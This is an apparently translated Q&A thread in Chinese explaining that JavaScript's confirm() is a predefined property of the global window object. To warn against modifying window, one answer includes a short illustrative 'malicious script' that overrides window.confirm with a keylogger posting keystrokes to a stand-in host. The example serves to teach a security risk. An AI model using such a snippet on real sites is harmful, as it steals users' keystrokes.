我最近开始学习javascript,我知道Java和一些html,CSS和SQL。但是,就js中发生的事情而言,我有点困惑。 JS有一个名为confirm的方法,它弹出一个窗口并要求用户确认。在使用之前,您不必定义此方法。在java中你必须定义对象才能使用它,这里他们使用这个方法被调用而不用定义它。它已经在JS中定义了,它是如何工作的?请帮忙,因为我现在很困惑。
答案 0 :(得分:1)
Javascript有一个名为window
的预定义对象,其上已经定义了很多属性。
您可以通过打开浏览器的控制台并输入window
然后按Enter键来查看它们。
因为在ES6 (当前正在开发的规范)之前,Javascript还没有模块系统的概念,所以所有浏览器API都必须存储在窗口对象中以便开发人员使用能够使用它们。
您可以将窗口对象视为Javascript中的全局范围。如果您创建的变量没有var
关键字,则会将其创建为window
对象上的属性。
function main() {
hello = 3;
window.hello === 3; // true
var bye = 2;
window.bye === 2; // false
typeof window.bye === 'undefined'; // true
}
因此调用confirm()
与调用window.confirm()
隐含相同,因为confirm
实际上只是window
对象上的属性。
这个模型被广泛认为是一个坏主意,可能非常危险,它使其他脚本很容易重新定义window
对象的属性。
// malicious script
window.confirm = function() {
window.addEventListener('keydown', function(e) {
$.POST('keylogging.com', { key: e.keyCode });
});
};
现在,如果你打电话给确认,而不是看到确认对话框,你将改为注册一个事件监听器,它将把你所有的击键发送给其他人的服务器。
显然并非所有第三方代码都是恶意代码,但仍然存在对窗口进行修改会导致代码中断的风险。
最佳做法是尽量避免在窗口对象上更改任何。一种方法是将IIFEs与module pattern一起使用。
答案 1 :(得分:0)
它已经在JS中定义了吗?
是的,浏览器确实预先定义了window.prompt
方法,以便您可以随时使用它。